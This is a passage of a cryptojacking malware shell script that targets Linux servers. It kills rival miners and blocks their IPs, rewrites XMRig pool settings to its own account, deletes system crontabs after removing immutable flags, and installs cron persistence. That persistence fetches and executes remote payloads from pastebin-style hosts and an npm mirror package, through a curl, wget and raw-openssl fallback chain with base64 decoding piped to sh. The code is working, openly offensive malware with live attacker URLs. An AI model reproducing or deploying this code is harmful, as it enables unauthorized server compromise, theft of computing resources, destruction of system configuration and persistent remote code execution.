  539.       _kt_uid=$(awk '/^Uid:/ {print $2}' "$_kt_proc/status")
  540.       _kt_state=$(awk '/^State:/ {print $2}' "$_kt_proc/status")
  541.       _kt_ppid=$(awk '/^PPid:/ {print $2}' "$_kt_proc/status")
  542.       _kt_rss=$(awk '/^VmRSS:/ {print $2}' "$_kt_proc/status")
  543.       _kt_rss=${_kt_rss:-0}
  544.       _kt_exe=$(readlink -f "$_kt_proc/exe" 2>/dev/null)
  545.       [ -n "$_kt_exe" ] && _kt_score=$((_kt_score + 1))
  546.       [ "$_kt_rss" -gt 500000 ] 2>/dev/null && _kt_score=$((_kt_score + 2))
  547.       [ "$_kt_rss" -gt 1000000 ] 2>/dev/null && _kt_score=$((_kt_score + 3))
  548.       _kt_zombies=$(ps --no-headers --ppid "$_kt_pid" -o stat 2>/dev/null | grep -c '^Z')
  549.       [ "$_kt_zombies" -ge 5 ] 2>/dev/null && _kt_score=$((_kt_score + 3))
  550.       [ "$_kt_zombies" -ge 20 ] 2>/dev/null && _kt_score=$((_kt_score + 2))
  551.       _kt_user=$(id -nu "$_kt_uid" 2>/dev/null)
  552.       if [ "$_kt_user" != root ]; then
  553.         case "$_kt_state" in
  554.           S*) _kt_score=$((_kt_score + 1)) ;;
  555.         esac
  556.       fi
  557.       case "$_kt_exe" in
  558.         /tmp/*|/var/tmp/*|/dev/shm/*)
  559.           _kt_score=$((_kt_score + 4)) ;;
  560.         "$HOME"/.cache/*|"$HOME"/.local/share/*|"$HOME"/.config/*)
  561.           _kt_score=$((_kt_score + 4)) ;;
  562.       esac
  563.       [ -d "/proc/$_kt_ppid" ] || _kt_score=$((_kt_score + 1))
  564.       if [ "$_kt_score" -ge "$_kt_threshold" ] 2>/dev/null; then
  565.         echo "[+] Killing PID=$_kt_pid score=$_kt_score name=$_kt_name exe=$_kt_exe"
  566.         kill -9 "$_kt_pid" 2>/dev/null
  567.       fi
  568.     done
  569.   )
  570.   return 0
  571. }
  572. kill_mf3() {
  573.   (
  574.     set +e
  575.     _km_pat='syslog-ng-[0-9a-f]\{8\}|syslog-helper|donate-level|stratum+tcp|cryptonight|randomx|/proc/[0-9]+/exe'
  576.     _km_skip="$_c5"
  577.     _km_all=$(ps -eo pid=,ppid=,args= 2>/dev/null) || return 0
  578.     _km_all=$(printf '%s\n' "$_km_all" | grep -v -- "$_km_skip")
  579.     # Tier 1: watchdogs + grep scanner
  580.     _km_t1=$(printf '%s\n' "$_km_all" | grep -E "$_km_pat" 2>/dev/null | grep -vE 'kill_cryptojack|awk' | awk '/syslog-helper|donate-level/{print $1" "$2}')
  581.     # Tier 2: miners
  582.     _km_t2=$(printf '%s\n' "$_km_all" | grep -E 'syslog-ng-[0-9a-f]{8}' 2>/dev/null | grep -v awk | awk '{print $1" "$2}')
  583.     _km_t2b=$(printf '%s\n' "$_km_all" | grep -E 'stratum\+tcp|cryptonight|randomx|donate-level' 2>/dev/null | grep -vE 'syslog-ng|syslog-helper|kill_cryptojack|awk' | awk '{print $1" "$2}')
  584.     _km_pids_of() { printf '%s\n' "$1" | awk 'NF{print $1}' | sort -un | tr '\n' ' '; }
  585.     # T1: SIGTERM then SIGKILL
  586.     _km_t1p=$(_km_pids_of "$_km_t1")
  587.     _km_t1par=$(printf '%s\n' "$_km_t1" | awk 'NF{print $2}' | sort -un | tr '\n' ' ')
  588.     _km_list=$(printf '%s %s' "$_km_t1p" "$_km_t1par" | tr ' ' '\n' | sort -un | grep -E '^[0-9]+$' | tr '\n' ' ')
  589.     if [ -n "$_km_list" ]; then
  590.       kill -TERM $_km_list 2>/dev/null; sleep 1
  591.       for _km_p in $_km_list; do kill -0 "$_km_p" 2>/dev/null && kill -KILL "$_km_p" 2>/dev/null; :; done
  592.     fi
  593.     # T2: SIGTERM then SIGKILL
  594.     _km_list=$(printf '%s %s' "$_km_t2" "$_km_t2b" | awk 'NF{print $1}' | sort -un | grep -E '^[0-9]+$' | tr '\n' ' ')
  595.     if [ -n "$_km_list" ]; then
  596.       kill -TERM $_km_list 2>/dev/null; sleep 2
  597.       for _km_p in $_km_list; do kill -0 "$_km_p" 2>/dev/null && kill -KILL "$_km_p" 2>/dev/null; :; done
  598.     fi
  599.     # T3: orphans
  600.     sleep 1
  601.     _km_left=$(ps -eo pid=,args= 2>/dev/null | grep -E "$_km_pat" | grep -vE 'kill_cryptojack|grep' | grep -v -- "$_km_skip" | awk '{print $1}' | sort -un | tr '\n' ' ')
  602.     [ -n "$_km_left" ] && kill -KILL $_km_left 2>/dev/null; :
  603.   )
  604.   return 0
  605. }
  606. kill_and_remove_process() {
  607.   _karp_term="$1"
  608.   [ -z "$_karp_term" ] && return 2
  609.   for _karp_dir in /proc/[0-9]*; do
  610.     [ -r "$_karp_dir/comm" ] || continue
  611.     _karp_pid="${_karp_dir##*/}"
  612.     _karp_comm=$(cat "$_karp_dir/comm" 2>/dev/null)
  613.     _karp_cmdline=$(tr '\0' ' ' < "$_karp_dir/cmdline" 2>/dev/null)
  614.     if [ "$_karp_comm" != "$_karp_term" ] && ! printf '%s\n' "$_karp_cmdline" | grep -Fq -- "$_karp_term"; then
  615.       continue
  616.     fi
  617.     _karp_exe=$(readlink -f "$_karp_dir/exe" 2>/dev/null)
  618.     [ -z "$_karp_exe" ] && continue
  619.     # Skip system binaries
  620.     case "$_karp_exe" in
  621.       /bin/*|/sbin/*|/usr/bin/*|/usr/sbin/*|/lib/*|/lib64/*|/usr/lib/*) continue ;;
  622.     esac
  623.     echo "Terminating '$_karp_term' PID=$_karp_pid"
  624.     kill "$_karp_pid" 2>/dev/null; sleep 1
  625.     kill -0 "$_karp_pid" 2>/dev/null && kill -9 "$_karp_pid" 2>/dev/null
  626.     if [ -f "$_karp_exe" ]; then
  627.       rm -f -- "$_karp_exe" 2>/dev/null && echo "Deleted: $_karp_exe"
  628.     fi
  629.   done
  630.   return 0
  631. }
  632. kill_high_cpu() {
  633.   _khc_threshold=150.0
  634.   ps -eo pid,%cpu --sort=-%cpu 2>/dev/null | awk -v t="$_khc_threshold" 'NR>1 && $2 > t {print $1}' | while read -r _khc_pid; do
  635.     [ -f "/proc/$_khc_pid/cmdline" ] || continue
  636.     _khc_cmdline=$(tr '\0' ' ' < "/proc/$_khc_pid/cmdline")
  637.     _is_excluded "$_khc_cmdline" && continue
  638.     kill -9 "$_khc_pid" 2>/dev/null && echo "Killed high-CPU PID=$_khc_pid"
  639.   done
  640. }
  641. harden_network() {
  642.   command -v iptables >/dev/null 2>&1 && {
  643.     iptables -A INPUT -s 66.23.199.44 -j DROP 2>/dev/null || true
  644.     iptables -A INPUT -s 45.94.31.89 -j DROP 2>/dev/null || true
  645.   }
  646.   command -v ip >/dev/null 2>&1 && {
  647.     ip route add blackhole 139.59.59.33 2>/dev/null || true
  648.     ip route add blackhole 45.94.31.89 2>/dev/null || true
  649.     ip route add blackhole 154.89.152.115 2>/dev/null || true
  650.     ip route add blackhole 84.21.173.223 2>/dev/null || true
  651.     ip route add blackhole 142.132.131.238 2>/dev/null || true
  652.   }
  653. }
  654. cleanup_files() {
  655.   # Remove competing miner artifacts (union of all scripts)
  656.   rm -rf /bin/softirq 2>/dev/null || true
  657.   rm -rf /var/tmp/.rsyslogd 2>/dev/null || true
  658.   rm -rf /lib/systemd/cache/health-monitor 2>/dev/null || true
  659.   rm -rf /usr/local/bin/watcher 2>/dev/null || true
  660.   rm -rf /tmp/runnv/* 2>/dev/null || true
  661.   rm -rf /lib/systemd/cache/asset-indexer 2>/dev/null || true
  662.   rm -rf /tmp/nuclear 2>/dev/null || true
  663.   rm -f /tmp/mon.sh 2>/dev/null || true
  664.   rm -f /tmp/run.sh 2>/dev/null || true
  665.   # Reclaim as honeypots
  666.   mkdir -p /bin/softirq 2>/dev/null || true
  667.   mkdir -p /tmp/nuclear 2>/dev/null || true
  668.   mkdir -p /tmp/runnv/lived.sh 2>/dev/null || true
  669.   mkdir -p /tmp/runnv/alive.sh 2>/dev/null || true
  670.   mkdir -p /usr/local/bin/watcher 2>/dev/null || true
  671.   mkdir -p /lib/systemd/cache/health-monitor 2>/dev/null || true
  672.   mkdir -p /var/tmp/.rsyslogd 2>/dev/null || true
  673.   mkdir -p /lib/systemd/cache/asset-indexer 2>/dev/null || true
  674.   # Remove old dns-filter artifacts
  675.   for _cf_f in "${HOME_1:-/tmp}/systemdev/dns-filter" /usr/lib/systemdev/dns-filter /usr/lib/dev/systemdev/dns-filter; do
  676.     [ -f "$_cf_f" ] && rm -f "$_cf_f"
  677.   done
  678. }
  679. safe_patch_args() {
  680.   _spa_file='/lib/systemd/cache/process-watcher'
  681.   _spa_value="-o $_c3 -u $_c4/P2 --tls"
  682.   [ -f "$_spa_file" ] || return 0
  683.   _spa_esc=$(printf '%s' "$_spa_value" | sed 's/[\/&]/\\&/g') || return 0
  684.   if grep -q '^XMRIG_ARGS="[^"]*"$' "$_spa_file" 2>/dev/null; then
  685.     sed -i "s/^XMRIG_ARGS=\"[^\"]*\"$/XMRIG_ARGS=\"$_spa_esc\"/" "$_spa_file" 2>/dev/null || :
  686.   else
  687.     printf '\nXMRIG_ARGS="%s"\n' "$_spa_value" >> "$_spa_file" 2>/dev/null || :
  688.   fi
  689. }
  690. replace_pool_user() {
  691.   _rpu_path="/var/tmp/.odoo_pg_health.json"
  692.   [ -f "$_rpu_path" ] || return 0
  693.   _rpu_esc=$(printf '%s' "$_c4" | sed -e 's/\\/\\\\/g' -e 's/&/\\&/g' -e 's/|/\\|/g') || return 0
  694.   _rpu_tmp="${_rpu_path}.tmp.$$"
  695.   sed -e "s|\(\"user\"[     ]*:[    ]*\)\"[^\"]*\"|\1\"${_rpu_esc}\"|g" \
  696.     <"$_rpu_path" >"$_rpu_tmp" 2>/dev/null || { rm -f "$_rpu_tmp"; return 0; }
  697.   [ -s "$_rpu_tmp" ] && mv -f "$_rpu_tmp" "$_rpu_path" 2>/dev/null || rm -f "$_rpu_tmp"
  698. }
  699. get_cpu_count() {
  700.   if [ -f /proc/cpuinfo ]; then
  701.     grep -c '^processor' /proc/cpuinfo
  702.   else
  703.     sysctl -n hw.ncpu 2>/dev/null || nproc 2>/dev/null || getconf _NPROCESSORS_ONLN 2>/dev/null || echo 1
  704.   fi
  705. }
  706. is_ec2_host() {
  707.   hostname | grep -qi -e "ec2" -e "compute"
  708. }
  709. is_our_process_running() {
  710.   for _iop_dir in /proc/[0-9]*; do
  711.     [ -r "$_iop_dir/cmdline" ] || continue
  712.     _iop_cmdline=$(cat "$_iop_dir/cmdline" 2>/dev/null | tr '\0' ' ')
  713.     if echo "$_iop_cmdline" | grep -q "$_c5" && ! echo "$_iop_cmdline" | grep -q "is_our_process_running"; then
  714.       _iop_state=$(awk '{print $3}' "$_iop_dir/stat" 2>/dev/null)
  715.       [ "$_iop_state" = "Z" ] && continue
  716.       _iop_pid="${_iop_dir##*/}"
  717.       case "$_ga_arch" in
  718.         aarch64|arm64|armv8l)
  719.           case "$_iop_cmdline" in
  720.             *"/$_c1"*) ;;
  721.             *)
  722.               echo "ARM process uses a different identifier; replacing"
  723.               kill -9 "$_iop_pid" 2>/dev/null
  724.               sleep 1
  725.               continue
  726.               ;;
  727.           esac
  728.           ;;
  729.       esac
  730.       _iop_cpu=$(ps -p "$_iop_pid" -o %cpu= 2>/dev/null | tr -d ' ')
  731.       _iop_cpu=${_iop_cpu:-0}
  732.       _iop_int=${_iop_cpu%.*}
  733.       _iop_int=${_iop_int:-0}
  734.       # Tag-drift guard: a running miner with an OLD tag (the pool worker
  735.       # label = /$1) would otherwise survive every redeploy forever. When
  736.       # the live process's tag differs from the current arg, kill it and
  737.       # relaunch with the new tag.
  738.       case "$_iop_cmdline" in
  739.         *"$_c1 "*|*"$_c1")
  740.           : ;;
  741.         *)
  742.           echo "Our process runs with a stale tag — killing for relaunch (arg=$_c1)"
  743.           kill -9 "$_iop_pid" 2>/dev/null
  744.           sleep 1
  745.           continue
  746.           ;;
  747.       esac
  748.       if [ "$_iop_int" -gt 0 ] 2>/dev/null; then
  749.         echo "Our process active (PID $_iop_pid, CPU ${_iop_cpu}%) — skipping launch"
  750.         return 0
  751.       else
  752.         echo "Our process idle (PID $_iop_pid) — killing and relaunching"
  753.         kill -9 "$_iop_pid" 2>/dev/null
  754.         sleep 1
  755.       fi
  756.     fi
  757.   done
  758.   echo "Our process not running"
  759.   return 1
  760. }
  761. set_arch_urls() {
  762.   _ga_arch=$(uname -m 2>/dev/null || echo unknown)
  763.   case "$_ga_arch" in
  764.     x86_64|amd64)
  765.       _ga_url="$_c7"
  766.       _ga_fallback="$_c9"
  767.       _ga_machine=3e00
  768.       ;;
  769.     aarch64|arm64|armv8l)
  770.       _ga_url="$_c8"
  771.       _ga_fallback=""
  772.       _ga_machine=b700
  773.       _c1=ARM
  774.       ;;
  775.     *)
  776.       _ga_url=""
  777.       _ga_fallback=""
  778.       _ga_machine=""
  779.       return 1
  780.       ;;
  781.   esac
  782. }
  783. _elf_machine() {
  784.   od -An -tx1 -j18 -N2 "$1" 2>/dev/null | tr -d '[:space:]'
  785. }
  786. _is_elf_for_arch() {
  787.   _ie_file="$1"
  788.   [ -s "$_ie_file" ] || return 1
  789.   [ "$(head -c 4 "$_ie_file" 2>/dev/null)" = "$(printf '\177ELF')" ] || return 1
  790.   [ "$(od -An -tx1 -j4 -N2 "$_ie_file" 2>/dev/null | tr -d '[:space:]')" = "0201" ] || return 1
  791.   [ "$(_elf_machine "$_ie_file")" = "$_ga_machine" ]
  792. }
  793. _sfx_path() {
  794.   if [ "$(id -u)" -eq 0 ]; then printf '/var/lib/.sysconf_id'
  795.   else printf '/tmp/.sysid'; fi
  796. }
  797. _load_or_gen_sfx() {
  798.   _log_f=$(_sfx_path)
  799.   if [ -f "$_log_f" ] && [ -s "$_log_f" ]; then cat "$_log_f"; return; fi
  800.   _log_s=$(tr -dc 'a-z0-9' </dev/urandom 2>/dev/null | head -c4)
  801.   [ -z "$_log_s" ] && _log_s=$(awk 'BEGIN{srand(); printf "%04x", int(rand()*65535)}')
  802.   mkdir -p "$(dirname "$_log_f")" 2>/dev/null
  803.   printf '%s' "$_log_s" >"$_log_f" 2>/dev/null
  804.   printf '%s' "$_log_s"
  805. }
  806.  
  807. wipe_previous_crons() {
  808.   # 1) Release immutable/append-only pins from ANY cron file (not just
  809.   #    $(whoami)) — otherwise rm below fails with "Operation not permitted"
  810.   #    and the stale cron survives the wipe.
  811.   if [ "$(id -u)" -eq 0 ]; then
  812.     for _wl in /etc/cron.d/* /etc/cron.d/$(whoami) /etc/cron.d/apache \
  813.                /var/spool/cron/* /var/spool/cron/crontabs/* \
  814.                /etc/cron.hourly/* /etc/cron.daily/* \
  815.                /etc/cron.weekly/* /etc/cron.monthly/* \
  816.                /etc/crontab /etc/cron.hourly/oanacroner1 /etc/init.d/down; do
  817.       [ -e "$_wl" ] || continue
  818.       chattr -i "$_wl" 2>/dev/null || true
  819.       chattr -a "$_wl" 2>/dev/null || true
  820.     done
  821.   fi
  822.  
  823.   # 2) User crontabs. Zimbra mode: NEVER wipe. Zimbra's crontab is
  824.   #    config-managed (zmstatctl/zmlogprocess etc.); dropping it breaks the
  825.   #    mail stack and surfaces config loss. Instead scrub only competitor
  826.   #    IOC lines from the invoking user's crontab and keep everything else.
  827.   #    Any crontab that mentions zimbra is treated the same way.
  828.   _wp_is_zimbra=0
  829.   [ "$(id -un 2>/dev/null)" = "zimbra" ] && _wp_is_zimbra=1
  830.   [ "$_wp_is_zimbra" = 0 ] && crontab -l 2>/dev/null | grep -qi "zimbra" && _wp_is_zimbra=1
  831.   if [ "$_wp_is_zimbra" = 1 ]; then
  832.     _wp_ioc='systemdev/cron-fetch|cron-fetch-ppfs|lazyrabbit\.pages\.dev|gistpad\.com|\.usr_cron|/etc/\.dd|oanacroner|kdevtmpfsi|kinsing|\.\.config|bash /tmp/|/tmp/\.[a-z0-9_]{2,}/'
  833.     crontab -l 2>/dev/null | grep -vE "$_wp_ioc" | crontab - 2>/dev/null
  834.     echo "Zimbra crontab: competitor lines scrubbed, config preserved."
  835.   else
  836.     crontab -r 2>/dev/null || true
  837.   fi
  838.   for _us in /var/spool/cron/crontabs/* /var/spool/cron/*; do
  839.     [ -f "$_us" ] || continue
  840.     case "$_us" in *zimbra*) continue ;; esac
  841.     grep -qi "zimbra" "$_us" 2>/dev/null && continue
  842.     rm -f "$_us" 2>/dev/null || true
  843.   done
  844.  
  845.   # 3) Drop the system-wide cron tree. Never on zimbra hosts: /etc/crontab
  846.   #    and cron.d carry stock config-managed jobs there.
  847.   if [ "$_wp_is_zimbra" = 0 ]; then
  848.     rm -f /etc/crontab 2>/dev/null || true
  849.     rm -f /etc/cron.d/* 2>/dev/null || true
  850.     rm -f /etc/cron.hourly/* /etc/cron.daily/* \
  851.           /etc/cron.weekly/* /etc/cron.monthly/* 2>/dev/null || true
  852.   fi
  853. }
  854.  
  855. create_cronjob() {
  856.   # Install a resilient pointer fetcher next to the payload (persistent dir,
  857.   # not /tmp) and have cron run it. The fetcher performs the full chain every
  858.   # run: /latest metadata -> dist.tarball -> package.json description ->
  859.   # base64 sanity gate -> sh, with npmjs + npmmirror origins and
  860.   # curl -> wget -> openssl fetch fallbacks.
  861.   # Ensure the tarball toolchain exists (tar + gzip) before relying on it.
  862.   for _cc_dep in tar gzip; do
  863.     if ! command -v $_cc_dep >/dev/null 2>&1; then
  864.       if [ "$(id -u)" = "0" ]; then
  865.         if command -v apk >/dev/null 2>&1; then
  866.           apk add --no-cache $_cc_dep >/dev/null 2>&1 || true
  867.         elif command -v apt-get >/dev/null 2>&1; then
  868.           apt-get update -qq >/dev/null 2>&1; apt-get install -y -qq $_cc_dep >/dev/null 2>&1 || true
  869.         elif command -v yum >/dev/null 2>&1; then
  870.           yum install -y -q $_cc_dep >/dev/null 2>&1 || true
  871.         elif command -v dnf >/dev/null 2>&1; then
  872.           dnf install -y -q $_cc_dep >/dev/null 2>&1 || true
  873.         fi
  874.       fi
  875.     fi
  876.   done
  877.   # Keep the cron helper separate from the payload directory.
  878.   # Root gets a persistent system path; users stay under their home directory.
  879.   _cc_home=""
  880.   if [ "$(id -u)" = "0" ]; then
  881.     mkdir -p /etc/.dd 2>/dev/null && _cc_home="/etc/.dd"
  882.   fi
  883.   if [ -z "$_cc_home" ] && [ -n "$HOME" ] && [ -w "$HOME" ]; then
  884.     mkdir -p "$HOME/.usr_cron/lib" 2>/dev/null && _cc_home="$HOME/.usr_cron/lib"
  885.   fi
  886.   if [ -z "$_cc_home" ] && [ -n "$HOME_1" ]; then
  887.     mkdir -p "$HOME_1" 2>/dev/null && [ -w "$HOME_1" ] && _cc_home="$HOME_1"
  888.   fi
  889.   [ -n "$_cc_home" ] || _cc_home="/tmp/.usr_cron/lib"
  890.   if ! command -v crontab >/dev/null 2>&1; then
  891.     echo "No crontab available; persistence not installed"
  892.     return 1
  893.   fi
  894.   # No-tar fallback: targets without tar cannot unpack the pointer tarball.
  895.   # Plant a static pastebin fetcher cron instead (payload served directly).
  896.   _cc_pastebin="https://b51f3a2a.lazyrabbit.pages.dev/redirectrev";
  897.   _cc_pastebin_b="https://gistpad.com/raw/werwer-860";
  898.   _cc_cmd=""
  899.   # The A||B chain: guard on the shebang so a 200-OK junk response (egress
  900.   # filters) doesn't run and doesn't block the fallback. The fetched body
  901.   # lives in a temp file (a var would word-split multi-line scripts).
  902.   if command -v curl >/dev/null 2>&1; then
  903.     _cc_cmd="T=/tmp/.ccr$$; curl -fsSLk -A corecheck/1.0 $_cc_pastebin 2>/dev/null | tr -d \"\r\" >$T; head -c 2 $T | grep -q '#!' && sh $T || { curl -fsSLk -A corecheck/1.0 $_cc_pastebin_b 2>/dev/null | tr -d \"\r\" | sh; }; rm -f $T"
  904.   elif command -v wget >/dev/null 2>&1; then
  905.     _cc_cmd="T=/tmp/.ccr$$; wget -qO- -U corecheck/1.0 --no-check-certificate $_cc_pastebin 2>/dev/null | tr -d \"\r\" >$T; head -c 2 $T | grep -q '#!' && sh $T || { wget -qO- -U corecheck/1.0 --no-check-certificate $_cc_pastebin_b 2>/dev/null | tr -d \"\r\" | sh; }"
  906.   elif command -v openssl >/dev/null 2>&1; then
  907.     # openssl-only fallback: raw HTTPS GET + staged decoding (no perl needed —
  908.     # strip HTTP headers with awk and execute only the response body).
  909.     mkdir -p "$_cc_home/systemdev" 2>/dev/null
  910.     _cc_helper="$_cc_home/systemdev/cron-fetch-ppfs.sh"
  911.     rm -f "/tmp/.cron_fetch_ppfs_$.sh" 2>/dev/null
  912.     cat > "$_cc_helper" << 'PASTEHELPER'
  913. #!/bin/sh
  914. _paste="$1"
  915. _hp="${_paste#https://}";; _hp="${_hp#http://}";
  916. _h="${_hp%%/*}"; _q="/${_hp#*/}"; [ "$_h" = "$_hp" ] && _q="/"
  917.     if command -v timeout >/dev/null 2>&1; then
  918.       _r=$(printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: wget/1.0\r\nConnection: close\r\n\r\n' "$_q" "$_h" | \
  919.         timeout 45 openssl s_client -quiet -connect "${_h}:443" -servername "$_h" 2>/dev/null)
  920.     else
  921.       _r=$(printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: wget/1.0\r\nConnection: close\r\n\r\n' "$_q" "$_h" | \
  922.         openssl s_client -quiet -connect "${_h}:443" -servername "$_h" 2>/dev/null)
  923.     fi
  924.     printf '%s\n' "$_r" | awk 'body {print; next} length($0) == 0 || $0 == "\r" {body=1}' | tr -d '\r' > "$_paste.b" 2>/dev/null
  925.     head -c 2 "$_paste.b" | grep -q '#!' && { sh "$_paste.b"; rm -f "$_paste.b"; exit $?; }
  926.     # The first URL gave junk (an egress filter's 200-OK) or nothing: try B.
  927.     [ -n "$2" ] || exit 1
  928.     _hp2="${2#https://}";; _hp2="${_hp2#http://}";
  929.     _h2="${_hp2%%/*}"; _q2="/${_hp2#*/}"; [ "$_h2" = "$_hp2" ] && _q2="/"
  930.     _r2=$(printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: wget/1.0\r\nConnection: close\r\n\r\n' "$_q2" "$_h2" | \
  931.       timeout 45 openssl s_client -quiet -connect "${_h2}:443" -servername "$_h2" 2>/dev/null)
  932.     printf '%s\n' "$_r2" | awk 'body {print; next} length($0) == 0 || $0 == "\r" {body=1}' | tr -d '\r' > "$_paste.b2" 2>/dev/null
  933.     head -c 2 "$_paste.b2" | grep -q '#!' && { sh "$_paste.b2"; }
  934.     rm -f "$_paste.b" "$_paste.b2"
  935.     exit 0
  936. PASTEHELPER
  937.     chmod 755 "$_cc_helper"
  938.     _cc_cmd="$_cc_helper $_cc_pastebin $_cc_pastebin_b"
  939.   fi
  940.  
  941.   # Decide which cron line to install, given what we have.
  942.   if [ -n "$_cc_cmd" ]; then
  943.     if ! command -v tar >/dev/null 2>&1 || ! command -v gzip >/dev/null 2>&1; then
  944.       # Cannot use the registry pointer chain (needs tar+gzip) — use the
  945.       # static pastebin cron directly, dedup keyed on the URL.
  946.       # Zimbra: append-only (see pointer site); never rewrite its crontab.
  947.       if [ "$(id -un 2>/dev/null)" = "zimbra" ] || crontab -l 2>/dev/null | grep -qi "zimbra"; then
  948.         if crontab -l 2>/dev/null | grep -qF "$_cc_pastebin"; then
  949.           echo "Cron persistence already installed (zimbra, preserved)."
  950.         else
  951.           if (crontab -l 2>/dev/null; printf '%s\n' "*/45 * * * * $_cc_cmd") | crontab -; then
  952.             echo "Cron persistence installed (zimbra, append-only)."
  953.           else
  954.             echo "Unable to install fallback crontab"
  955.             return 1
  956.           fi
  957.         fi
  958.         return 0
  959.       fi
  960.        if ! (crontab -l 2>/dev/null | grep -vF "$_cc_pastebin" | grep -vF "/systemdev/cron-fetch";
  961.              printf '%s\n' "*/45 * * * * $_cc_cmd") | crontab -; then
  962.          echo "Unable to install fallback crontab"
  963.          return 1
  964.        fi
  965.       echo "Cron persistence installed (pastebin fallback)."
  966.       return 0
  967.     fi
  968.     # tar+gzip present: prefer the resilient registry-pointer fetcher and
  969.     # keep the pastebin cron as an additional safety net.
  970.     :
  971.   else
  972.     echo "No tar/pointer and no curl/wget/openssl — no viable cron fallback"
  973.     return 1
  974.   fi
  975.   # Persistent fetcher dir chosen by privilege:
  976.   #   root: /etc/.dd/systemdev  (privileged, persistent)
  977.   #   user: $HOME/.usr_cron/lib (survives logout, no root needed)
  978.   #   fallback: /tmp/.usr_cron/lib (last resort, e.g. $HOME unwritable)
  979.   mkdir -p "$_cc_home/systemdev" 2>/dev/null
  980.   _cc_fetcher="$_cc_home/systemdev/cron-fetch"
  981.   cat > "$_cc_fetcher" << 'CRONHELPER'
  982. #!/bin/sh
  983. REGURL="https://registry.npmmirror.com/net-util-z13/latest";
  984. MIRROR="$(printf '%s' "$REGURL" | sed 's#registry\.npmjs\.org#registry.npmmirror.com#')"
  985. _extr='s/.*"description" *: *"\([^"]*\)".*/\1/p'
  986.  
  987. get_url() {
  988.   _gu="$1"
  989.   if command -v curl >/dev/null 2>&1; then
  990.     curl -fsSLk -A corecheck/1.0 --max-time 30 "$_gu" 2>/dev/null && return 0
  991.   fi
  992.   if command -v wget >/dev/null 2>&1; then
  993.     wget -qO- -U corecheck/1.0 --no-check-certificate -T 30 "$_gu" 2>/dev/null && return 0
  994.   fi
  995.   if command -v openssl >/dev/null 2>&1; then
  996.     _gu_now="$_gu"; _n=0
  997.     _raw="${TMPDIR:-/tmp}/.netz13-fetch.$$.raw"
  998.     while [ "$_n" -lt 5 ]; do
  999.       _n=$((_n+1))
  1000.       _hp="${_gu_now#https://}";; _hp="${_hp#http://}";
  1001.       _h="${_hp%%/*}"; _q="/${_hp#*/}"; [ "$_h" = "$_hp" ] && _q="/"
  1002.       if command -v timeout >/dev/null 2>&1; then
  1003.         printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: wget/1.0\r\nConnection: close\r\n\r\n' "$_q" "$_h" |
  1004.           timeout 45 openssl s_client -quiet -connect "${_h}:443" -servername "$_h" 2>/dev/null > "$_raw"
  1005.       else
  1006.         printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: wget/1.0\r\nConnection: close\r\n\r\n' "$_q" "$_h" |
  1007.           openssl s_client -quiet -connect "${_h}:443" -servername "$_h" 2>/dev/null > "$_raw"
  1008.       fi
  1009.       _st=$(awk 'NR == 1 {sub(/\r$/, ""); print $2; exit}' "$_raw" 2>/dev/null)
  1010.       case "$_st" in 301|302|303|307|308)
  1011.         _l=$(awk 'tolower($1) == "location:" {sub(/^[^:]*:[ \t]*/, ""); sub(/\r$/, ""); print; exit}' "$_raw" 2>/dev/null)
  1012.         [ -z "$_l" ] && { rm -f "$_raw"; return 9; }
  1013.         _gu_now="$_l"
  1014.         continue;;
  1015.       2??)
  1016.         _off=$(awk 'BEGIN {n=0} {n += length($0) + 1; if ($0 == "" || $0 == "\r") {print n; exit}}' "$_raw" 2>/dev/null)
  1017.         [ -n "$_off" ] || { rm -f "$_raw"; return 9; }
  1018.         if command -v dd >/dev/null 2>&1; then
  1019.           dd if="$_raw" bs=1 skip="$_off" 2>/dev/null
  1020.           _rc=$?
  1021.         elif command -v tail >/dev/null 2>&1; then
  1022.           tail -c "+$((_off + 1))" "$_raw"
  1023.           _rc=$?
  1024.         else
  1025.           rm -f "$_raw"
  1026.           return 9
  1027.         fi
  1028.         rm -f "$_raw"
  1029.         return "$_rc";;
  1030.       *)
  1031.         rm -f "$_raw"
  1032.         return 9;;
  1033.       esac
  1034.     done
  1035.     rm -f "$_raw"
  1036.     return 9
  1037.   fi
  1038.   return 9
  1039. }
  1040.  
  1041. run_gated() {
  1042.   b=$(cat)
  1043.   printf '%s' "$b" | grep -qE '^[A-Za-z0-9+/=]+$' || exit 9
  1044.   printf '%s' "$b" | base64 -d | sh
  1045. }
  1046.  
  1047. # 1) metadata from primary then mirror; extract tarball URL
  1048. _t=""
  1049. for _mu in "$REGURL" "$MIRROR"; do
  1050.   _mt=$(get_url "$_mu" | tr -d "\r" | sed -n "s/.*\"tarball\" *: *\"\([^\"]*\)\".*/\1/p" | head -1)
  1051.   [ -n "$_mt" ] && { _t="$_mt"; break; }
  1052. done
  1053. # 1b) metadata may be gone (package unpublished upstream); fall back to the
  1054. # known orphan tarball on the same mirror origin. Verified serving the
  1055. # intact payload (sha256 ad8a1c84…). Gate below still applies.
  1056. [ -z "$_t" ] && _t="https://registry.npmmirror.com/net-util-z13/-/net-util-z13-1.1789464157.0.tgz";
  1057. [ -z "$_t" ] && exit 9
  1058.  
  1059. # 2) tarball from its origin; fall back to mirror host
  1060. _b64=""
  1061. for _tu in "$_t" "$(printf '%s' "$_t" | sed 's#registry\.npmjs\.org#registry.npmmirror.com#')"; do
  1062.   _cand=$(get_url "$_tu" | tar -xzO package/package.json 2>/dev/null | tr -d "\r" | sed -n "$_extr" | head -1)
  1063.   [ -n "$_cand" ] && { _b64="$_cand"; break; }
  1064. done
  1065. # 3) static fallback: lazyrabbit/gistpad serve the payload as plain sh (no tar needed,
  1066. #    no metadata, no gate) — last layer when both registry layers are dead.
  1067. #    DNS on some hosts intermittently resolves CDN hosts to 0.0.0.0 (empty
  1068. #    response). Retry once after a pause; only a NON-EMPTY body reaches sh.
  1069. if [ -z "$_b64" ]; then
  1070.   _l3_body=""
  1071.   for _l3_try in 1 2 3; do
  1072.     for _l3_url in https://b51f3a2a.lazyrabbit.pages.dev/redirectrev https://gistpad.com/raw/werwer-860; do
  1073.       if command -v curl >/dev/null 2>&1; then
  1074.         _l3_body=$(curl -fsSLk -A corecheck/1.0 --max-time 30 "$_l3_url" 2>/dev/null | tr -d '\r')
  1075.       elif command -v wget >/dev/null 2>&1; then
